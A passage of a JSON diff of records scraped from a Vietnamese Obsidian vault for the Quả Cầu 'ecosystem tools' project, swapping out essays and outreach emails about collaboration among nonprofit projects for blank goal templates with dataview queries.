nghĩ\"]\n\tb2[\"Knowledge graph\"]\n\tc2[\"Mạng kết nối nhu cầu\"]\n\ta2-->b2-->c2\nend\na1-.->a2\nb1-.->b2\nc1-.->c2\n```\n\nXem kế hoạch chi tiết ở [[📐 Dự án]]\n# Phụ lục: Thách thức: [[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]]\nTrong ngành khoa học máy tính, [[Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó]]. Điều đó khiến cho [[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác|chúng ta phải đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]]. [[Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối]]. Xu thế hiện nay là [[Các nhóm làm việc qua mạng ngày càng nhiều]], đến nỗi khi được hỏi về app đa số mọi người sẽ chỉ nhắc đến những cloud app như Google Drive hay Notion. Nghĩa là chúng ta đã hy sinh quá nhiều sự tự chủ dữ liệu cho sự tiện lợi đến nỗi chúng ta không còn biết gì về một loạt các phần mềm khác mạnh mẽ hơn. Việc đánh mất sự tự chủ đó là lý do khiến cho chúng ta luôn cảm thấy mình mù công nghệ, và chấp nhận rằng mình sẽ chẳng hiểu gì về công nghệ cả. Đây chính là một sự bất lực học được. [[Người không học về lập trình thấy việc lập trình như làm phép thuật]], trong khi [[Lập trình viên biết lập trình chủ yếu là nhờ biết google]]. Bạn cũng biết google vậy, vậy tại sao vẫn thấy nó giống như làm phép thuật? Chúng tôi nghĩ một phần lớn là vì đã từ lâu bạn không còn cảm giác mình có sự tự chủ với dữ liệu của mình rồi. Khi bạn đã có lại được cảm giác đó, bạn sẽ thấy mình tự tin hơn về công nghệ.\n\n---\n# English\n## The problem\nIt’s hard for new-founded independent projects to find collaborators. Although there are many organizations that want to promote an ecosystem between projects, the optimal outcomes (not saying the expected ones) isn't achieved. Especially if the idea is so novel. Since it takes a lot of time and cognitive wordload to have deep conversations, often the project has to grow big enough to have a staff specialized in networking. \n\nFinding collaborators for new-founded independent projects with groundbreaking ideas is difficult. In the 5 years I've been involved in non-profit networks and communities, I feel that although there are many organizations that want to promote an ecosystem between projects, the optimal effectiveness has not achieved yet, despite of my great appreciation for their effort and professionalism. I must frankly ", + "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/đang-làm\r\nĐộ cấp thiết:: #đct/cao\r\nĐối tượng thụ hưởng:: \r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-26T03:33:00.000Z", - "Ngày cập nhật": "2024-09-02T06:55:00.000Z", - "id": "P6" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PK" }, { - "Tiêu đề": "Kế hoạch phát triển công cụ cho hệ sinh thái", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Thành phẩm/Kế hoạch/Kế hoạch phát triển công cụ cho hệ sinh thái", + "Tiêu đề": "100% người tham gia cho phản hồi về độ hấp dẫn của bài học", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/100% người tham gia cho phản hồi về độ hấp dẫn của bài học", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Giải pháp gợi ý | Hành vi cần đạt được | Giả thiết | Công việc |\n| ------------------------------ | -------------------- | --------- | --------- |\n| Tìm người quan tâm đến công cụ | | | |\n| Chia sẻ bài chim sáo | | | |\n| | | | |", + "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/chưa-hoàn-thành\r\nĐộ cấp thiết:: #đct/trung-bình\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-27T04:03:00.000Z", - "id": "P7" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PL" }, { - "Tiêu đề": "Bài viết về vấn đề về hệ sinh thái", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Bài viết về vấn đề về hệ sinh thái", + "Tiêu đề": "20% người tham gia tìm hiểu về Quả Cầu", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/20% người tham gia tìm hiểu về Quả Cầu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-phẩm/bài-viết\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n\nGiả thuyết:\n\n:Trong 3 năm mình tham gia vào các mạng lưới, cộng đồng phi lợi nhuận, mình cảm thấy mặc dù đã có rất rất nhiều tổ chức muốn thúc đẩy một hệ sinh thái giữa các dự án, nhưng lại chưa cảm thấy sự hiệu quả đạt đến mức tối ưu, mặc dù mình đánh giá rất cao nỗ lực và sự chuyên nghiệp của họ. Mình phải thẳng thắn nói rằng mình thất vọng rất nhiều sau các sự kiện kết nối. Mọi người có biết đến nhau, nhưng sau buổi hôm đó cũng chỉ dừng lại ở đó, không đi xa hơn được. Mình nghĩ rằng nguyên nhân quan trọng nhất là các bên **quá nhiều việc**. Mọi người không thể đi đủ sâu để tìm hiểu về nhau. Vì để có thể đi sâu thì phải tốn rất rất nhiều thời gian, mà thường tổ chức phải phát triển đủ lớn để có một người chuyên về việc kết nối, chứ công việc thì rất rất nhiều. Nếu như các tổ chức kết nối cộng đồng chủ động phân loại và tổ chức các buổi gặp gỡ cho các dự án quy mô nhỏ tương tự nhau thì rất tốt, nhưng mình không thấy được điều đó.\n\n[[Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0]]. Bạn không cần phải hỏi mà vẫn biết nhu cầu của những thành viên xung quanh, và họ không cần phải hỏi cũng biết bạn đang cần gì. Mặc dù chúng ta luôn khuyến khích đặt câu hỏi, nhưng [[Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì]]. Và các công cụ quản lý dự án hiện nay không có chức năng cung cấp thông tin của nhóm cho những nhóm khác. Chỉ khi nào nhu cầu của các bên liên quan hiện ra ngay trong kho dữ liệu của nhóm mà không cần phải hỏi họ hay thậm chí là nhập liệu, thì lúc đó chúng ta mới có thể bắt đầu nói về một hệ sinh thái mà những thành viên mới – vốn rất thiếu nhân lực – vẫn có thể hưởng lợi.\n\nTrong những phần mềm quản lý công việc trên thị trường hiện nay, mình thấy có duy nhất Obsidian là có thể đáp ứng nhu cầu đó. Cho nên trong buổi thảo luận này mình sẽ nói về cách bọn mình sử dụng nó ra sao. Cùng với đó là mô hình tổ chức mà loại công nghệ này đem lại: \n\nXem thêm: Một đám mây chim sáo: https://quacau.space/f025\n\n# Giả thuyết\n- [[Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm]]\n- [[Việc phải nói chuyện nhu cầu của nhau là mệt mỏi]]\n- [[Việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn]]\n- [[Người dùng sử dụng dễ dàng Obsidian]]\n- [[Obsidian hữu ích để quản lý công việc]]\n- [[Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất]]\n", + "Toàn bộ nội dung": "%%\r\n#tt/\r\n#file/thành-quả\r\n%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-26T11:11:00.000Z", - "id": "P8" + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PM" }, { - "Tiêu đề": "Hanoi Grapevine", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Email/Hanoi Grapevine", + "Tiêu đề": "3 người có 10 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/3 người có 10 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Một số ý tưởng trao đổi với Hanoi Grapevine về nhân văn số và mạng lưới không gian văn hoá", - "Toàn bộ nội dung": "Em xin chào Hanoi Grapevine, \n \nEm xin tự giới thiệu, em là Lý Minh Nhật, người sáng lập dự án Quả Cầu. Hôm 10/11 vừa rồi em có được dịp trò chuyện một chút với chị Ly về những thứ em nghĩ Hanoi Grapevine sẽ cảm thấy hứng thú. Email này là để nói rõ thêm về các ý tưởng đó.\n\n# Nhân văn số\nEm nghe hai chị nói rằng hiện Hanoi Grapevine chứa 2 TB về các sự kiện nghệ thuật ở Hà Nội từ lúc sáng lập cho tới nay. Em nghĩ rằng nó có tiềm năng lớn để làm một dự án nghiên cứu nhân văn số. Nhân văn số là những nghiên cứu kết hợp giữa ngành khoa học máy tính và các ngành nhân văn. Nếu thu hẹp lại về nghệ thuật, thì em nghĩ dự án nổi tiếng nhất chính là [Google Arts & Culture](https://artsandculture.google.com/ \"Google Arts & Culture\"). Chị có thể xem thêm bài giới thiệu của giám đốc dự án này trên TED: [Every piece of art you've ever wanted to see -- up close and searchable | Amit Sood](https://www.youtube.com/watch?v=cSpOCSVt--k \"Every piece of art you've ever wanted to see -- up close and searchable | Amit Sood - YouTube\"). \n\nEm cũng thử kiếm thêm [các dự án nhân văn số về lịch sử nghệ thuật](http://imageresources.weebly.com/digital-humanities-projects.html \"Digital humanities projects - Digital Resources Guide\"), và thấy dự án [Inventing Abstraction](https://www.moma.org/interactives/exhibitions/2012/inventingabstraction), một dự án sơ đồ hoá mối quan hệ giữa các nghệ sĩ, là có vẻ tham khảo được với loại dữ liệu mình đang có. Vì đây vừa là một dự án nghệ thuật vừa là một dự án nghiên cứu, nên em nghĩ có thể mình sẽ kiếm được nguồn tài trợ từ cả hai:\n![[Pasted image 20231111161912.png]]\n\nNếu chị có hứng thú thì chị có thể xem qua một sản phẩm nhân văn số em làm: [Đồ thị mạng lưới 100+ niềm tin](https://xn--qucu-hr5aza.cc/phan-tich-mot-mang-luoi-100-niem-tin/?utm_source=E+%C2%BB+Hanoi+Grapevine&utm_medium=email&utm_campaign=Nh%C3%A2n+v%C4%83n+s%E1%BB%91). Cái này mục đích chỉ là để thử nghiệm ý tưởng cũng như một dịp để em học thêm về nhân văn cũng như lập trình, chứ còn để đảm bảo tính học thuật thì còn nhiều việc phải làm.\n\n# Mạng lưới không gian sáng tạo\nEm có tìm thấy bài báo này: [Trương Uyên Ly: Người 'lập bản đồ' các không gian văn hóa sáng tạo](https://thethaovanhoa.vn/truong-uyen-ly-nguoi-lap-ban-do-cac-khong-gian-van-hoa-sang-tao-20200108143302189.htm \"Trương Uyên Ly: Người 'lập bản đồ' các không gian văn hóa sáng tạo\"). Em nghĩ một trong những yếu tố quan trọng để tối ưu hoá việc này là công cụ mà mình sử dụng. Các công cụ quản lý dự án hiện nay không có chức năng cung cấp thông tin của nhóm cho những nhóm khác. Chỉ khi nào nhu cầu của các bên liên quan hiện ra ngay trong kho dữ liệu của nhóm mà không cần phải hỏi họ hay thậm chí là nhập liệu, thì lúc đó chúng ta mới có thể bắt đầu nói về một hệ sinh thái mà những thành viên mới – vốn rất thiếu nhân lực – vẫn có thể hưởng lợi. Chị có thể đọc thêm bài viết phân tích của em: [Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền](https://obsidian.quảcầu.cc/%F0%9F%93%90%20d%E1%BB%B1%20%C3%A1n/c%20obsidian,%20qu%E1%BA%A3n%20l%C3%BD%20d%E1%BB%B1%20%C3%A1n%20v%C3%A0%20c%C3%B4ng%20c%E1%BB%A5%20ngh%C4%A9/9%20blog/t%E1%BB%AB%20vi%E1%BB%87c%20l%C6%B0u%20d%E1%BB%AF%20li%E1%BB%87u%20t%E1%BA%A1i%20ch%E1%BB%97%20%C4%91%E1%BA%BFn%20s%E1%BB%B1%20h%E1%BB%A3p%20t%C3%A1c%20%C4%91a%20ph%C6%B0%C6%A1ng%20v%C3%A0%20li%C3%AAn%20ng%C3%A0nh%20v%C3%A0%20n%E1%BB%81n%20kinh%20t%E1%BA%BF%20kh%C3%B4ng%20d%C3%B9ng%20ti%E1%BB%81n/?utm_source=E+%C2%BB+Hanoi+Grapevine&utm_medium=email&utm_campaign=C%C3%B4ng+c%E1%BB%A5+cho+h%E1%BB%87+sinh+th%C3%A1i)\n\nĐây là những ý em nghĩ Hanoi Grapevine sẽ hứng thú. Em rất mong nghe được những suy nghĩ của các chị. Nếu các chị hứng thú trả lời nhưng ngại viết email thì mình có thể gọi điện cho nhanh.", + "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/đang-làm\r\nĐộ cấp thiết:: #đct/cao\r\nĐối tượng thụ hưởng:: [[Người muốn xây dựng cộng đồng hoặc mạng lưới]]\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-03T13:13:00.000Z", - "id": "P9" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PN" }, { - "Tiêu đề": "Lê Nguyễn Tường Vân", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Email/Lê Nguyễn Tường Vân", + "Tiêu đề": "3 nhóm chỉ cần đi học không bị mất tiền", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/3 nhóm chỉ cần đi học không bị mất tiền", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Xin chào bạn Lê Nguyễn Tường Vân,\n\nMình tên là Lý Minh Nhật, là người sáng lập ra dự án Quả Cầu, và cũng là một người tham gia buổi giao lưu của Viện ABG và Fulbright vào ngày 9/8/2024 vừa qua. Buổi chia sẻ chỉ có 10 phút nói về nhân văn số, và rất tiếc là mình phải về sớm, nên mình chưa hiểu rõ định hướng phát triển các dự án nhân văn số của trường, ngoài việc thấy rằng chúng cần liên quan đến căn tính Việt Nam.\n\nĐây là những ý tưởng Quả Cầu đang triển khai, mà mình nghĩ rằng là phù hợp để được gọi là nhân văn số:\n- Giáo dục số: [[Xây dựng hệ thống tri thức cộng đồng|Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?]]\n- Xã hội học số: Đồ thị mạng lưới 100+ niềm tin\n- Văn hoá số: Các cuộc đối thoại đang được chia sẻ như thế nào? \n\nBạn cũng có thể đọc thêm các ghi chú của bọn mình về [[Nhân văn số|Các dự án, công cụ, tài nguyên cho nhân văn số]]. Ngoài ra bọn mình cũng tổ chức [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]].\n\nMột quan sát của mình: [[Ngoài việc sử dụng mô hình chủ đề và tạo cơ sở dữ liệu, các dự án nhân văn số dường như không sử dụng các lĩnh vực khác của công nghệ thông tin]]. Điều này dẫn đến câu hỏi là liệu [[❓Nhân văn chỉ quan tâm đến việc lưu trữ, hiểu dữ liệu và tạo ra câu chuyện hay]] hay không, hay nó còn có những mục tiêu khác? Ví dụ, việc thúc đẩy sự đối thoại có được xem là một mục tiêu của ngành này, và như vậy, việc xây dựng một hệ thống để thúc đẩy sự đối thoại có được xem là một dự án nhân văn số?\n\nKhông biết mình có thể hẹn bạn một buổi trò chuyện để thảo luận thêm được không? Mình rất mong nhận được sự phản hồi từ bạn.", + "Toàn bộ nội dung": "%%\r\n#tt/\r\n#file/thành-quả\r\n%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-10T08:07:00.000Z", - "Ngày cập nhật": "2024-08-10T17:45:00.000Z", - "id": "PA" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PO" }, { - "Tiêu đề": "Nguyễn Cảnh Bình", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Email/Nguyễn Cảnh Bình", + "Tiêu đề": "50% người chia sẻ vault cho bạn bè", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/50% người chia sẻ vault cho bạn bè", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n{Một không gian học tập của tương lai}\n\nGửi các em cựu học viên ABG,\n\nTrí tuệ nhân tạo đang thay đổi mạnh mẽ những gì con người có thể làm được, tạo ra cả cơ hội và thách thức lớn cho chúng ta, những nhà lãnh đạo tương lai. Không chỉ vậy, những thay đổi/biến động của thời cuộc (thế giới và trong nước) cũng đặt ra những không gian phát triển mới cho tất cả chúng ta.\n\nCác chương trình, tổ chức khóa học của Viện cơ bản vẫn theo truyền thống, nhưng dù tốt cũng không thể đáp ứng nhu cầu ngày càng cao của các học viên và thời đại, Viện Lãnh đạo ABG cũng không đứng ngoài những biến động lớn lao này. Vì thế, anh và Viện ABG đang suy nghĩ, tìm tòi và muốn đổi mới mạnh mẽ chương trình và phương pháp đào tạo.\n\nVì thế, anh muốn thành lập một nhóm nhỏ gọi là \"Turks Trẻ\" gồm 7-8 bạn, nói chung không quá 10 người có tư duy hiện đại, có khả năng, và thời gian để hỗ trợ Viện trong việc nghiên cứu, thử nghiệm và đưa ra những sáng kiến đột phá trong đào tạo. Anh nghĩ thời gian hoạt động của nhóm không quá một tháng, nhưng cũng có thể kéo dài theo hình thức nào đó nếu cần.\n\nAnh nghĩ mấy nguyên tắc làm nền tảng cho Viện ABG và cho các chtr đào tạo trong tương lai là:\n\n1) Công nghệ/AI; tối đa hoá ứng dụng công nghệ và AI vào mọi hoạt động của Viện..\n\n2) Quốc tế/Toàn cầu hóa, Viện/chtr đào tạo phải kết nối mạnh mẽ hơn nữa với thế giới;\n\n3) Chtr phải thiết kế theo hướng cá nhân hoá (mô hình của Matsushita..) và\n\n4) Tập trung nâng cao năng lực thực thi/triển khai qua hoạt động networking và mentoring..\n\n5) Giảm lý thuyết nhiều hơn nữa mà chuyển sang cá nhân hóa, project base (nhờ công nghệ?)\n\nTrên thế giới chắc có nx mô hình mới/khác biệt nào đó (Mô hình Maátushita và West Point tuyệt vời, nhưng cần rất nhiều nguồn lực khó áp dụng ở ABG nếu triển khai theo công nghệ cũ (chạy bằng cơm) song nếu có công nghệ, có thể triển khai theo nguyên tắc này dễ dàng hơn. Viện muốn tìm một mô hình mới, thực sự mới chứ không muốn duy trì mô hình cũ hoặc chỉ vài cải cách điều chỉnh nhỏ trong việc tổ chức, vận hành vì như thế không đủ..\n\nNếu ai đó trong các em cảm thấy phù hợp và muốn tham gia một nhóm có sự đổi mới lớn lao, hãy liên hệ với anh, anh hy vọng nhóm sẽ tìm ra được điều gì đó đáng kể. Để thuận lợi cho anh, các em gửi email riêng cho anh: binhnc@yahoo.com, CV & suy nghĩ của em về một mô hình mới, cách đào tạo mới…\n\nChỉ có những cấu trúc, thiết chế, cách thức tổ chức và nội dung tiên phong và hiện đại mới có thể tạo ra những con người tiến phong, hiện đại và mạnh mẽ..\n\nCám ơn các em. \nNgày 11/8/2024\n\nNguyễn Cảnh Bình\nNguồn:: \n\n[[AI giống như công nghệ tua bin. Gắn nó với xe hơi thì không sử dụng được. Nhưng nếu có thể có thêm những công nghệ mới thì có thể thành máy bay]]\nThink tank", + "Toàn bộ nội dung": "Phục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-11T16:19:00.000Z", - "Ngày cập nhật": "2024-08-11T16:21:00.000Z", - "id": "PB" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PP" }, { - "Tiêu đề": "Nguyễn Hoàng Hải", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Email/Nguyễn Hoàng Hải", + "Tiêu đề": "Nhật hoàn thiện được vault giáo trình Obsidian", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Người dùng đóng góp cho dự án/Nhật hoàn thiện được vault giáo trình Obsidian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Obsidian\nVật lý cho người học triết: dao động tử điều hoà, deleuze \nTính cường độ\nThông tin là gì\n\n[Đào tạo vật lí - Nguyễn Hoàng Hải - Obsidian Publish](https://publish.obsidian.md/hai/Education/Đào+tạo+vật+lí)", + "Toàn bộ nội dung": "%%#file/thành-quả%%\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: \r\n\r\nThành phẩm::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-03T06:14:00.000Z", - "Ngày cập nhật": "2024-08-03T09:11:00.000Z", - "id": "PC" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PQ" }, { - "Tiêu đề": "Kế hoạch truyền thông", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Kế hoạch truyền thông", + "Tiêu đề": "100 dự án cộng đồng thấy Obsidian giúp họ xây dựng cộng đồng mạnh", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Nhóm dự án dùng vault để quản lý công việc/100 dự án cộng đồng thấy Obsidian giúp họ xây dựng cộng đồng mạnh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\nPhục vụ cho thành quả:\n```dataview\nLIST\nFrom #file/thành-quả\nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList \nFrom \"📐 Dự án hỗ trợ người mới học Obsidian/3 Thành phẩm\" \nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n\n\n", + "Toàn bộ nội dung": "%%\r\n#file/thành-quả\r\n%%\r\nTrạng thái:: #tt/đang-làm\r\nĐộ cấp thiết:: #đct/cao, [[Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm]], [[Việc phải nói chuyện nhu cầu của nhau là mệt mỏi]], [[Việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn]], [[Người dùng sử dụng dễ dàng Obsidian]], [[Obsidian hữu ích để quản lý công việc]], [[Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất]]\r\nĐối tượng thụ hưởng:: [[Người muốn xây dựng cộng đồng hoặc mạng lưới]]\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nList \r\nFrom #file/thành-quả \r\nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \r\n```\r\nThành quả cần có:: [[50 nhóm dự án cộng đồng tham gia các buổi học về Obsidian]]\r\n\r\n\r\nThành phẩm:: [[Bài viết về vấn đề về hệ sinh thái]], [[Các buổi giới thiệu vault]], [[Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-11T08:28:00.000Z", - "id": "PD" + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PR" }, { - "Tiêu đề": "Từ việc lưu dữ liệu tại chỗ", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Từ việc lưu dữ liệu tại chỗ", + "Tiêu đề": "50 nhóm dự án sử dụng Obsidian để quản lý công việc", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/2 Thành quả mong muốn/Nhóm dự án dùng vault để quản lý công việc/50 nhóm dự án sử dụng Obsidian để quản lý công việc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "(English below) \n\n⬛ Vấn đề: Sự hợp tác giữa các nhóm dự án chưa đạt được hiệu quả tối ưu\nViệc tìm kiếm người hợp tác cho các dự án mới có ý tưởng đột phá có vẻ khó. Trong 5 năm mình tham gia vào các mạng lưới, cộng đồng phi lợi nhuận, mình cảm thấy mặc dù đã có rất rất nhiều tổ chức muốn thúc đẩy một hệ sinh thái giữa các dự án, nhưng lại chưa cảm thấy sự hiệu quả đạt đến mức tối ưu, mặc dù mình đánh giá rất cao nỗ lực và sự chuyên nghiệp của họ. Mình phải thẳng thắn nói rằng mình thất vọng rất nhiều sau các sự kiện kết nối. Mọi người có biết đến nhau, nhưng sau buổi hôm đó cũng chỉ dừng lại ở đó, không đi xa hơn được. Mình nghĩ rằng nguyên nhân quan trọng nhất là các bên **quá nhiều việc**. Mọi người không thể đi đủ sâu để tìm hiểu về nhau. Vì để có thể đi sâu thì phải tốn rất rất nhiều thời gian, mà thường tổ chức phải phát triển đủ lớn để có một người chuyên về việc kết nối, chứ công việc thì rất rất nhiều. Nếu như các tổ chức kết nối cộng đồng chủ động phân loại và tổ chức các buổi gặp gỡ cho các dự án quy mô nhỏ tương tự nhau thì rất tốt, nhưng mình không thấy được điều đó.\n\n**Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0**. Bạn không cần phải hỏi mà vẫn biết nhu cầu của những thành viên xung quanh, và họ không cần phải hỏi cũng biết bạn đang cần gì. Mặc dù chúng ta luôn khuyến khích đặt câu hỏi, nhưng một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì. 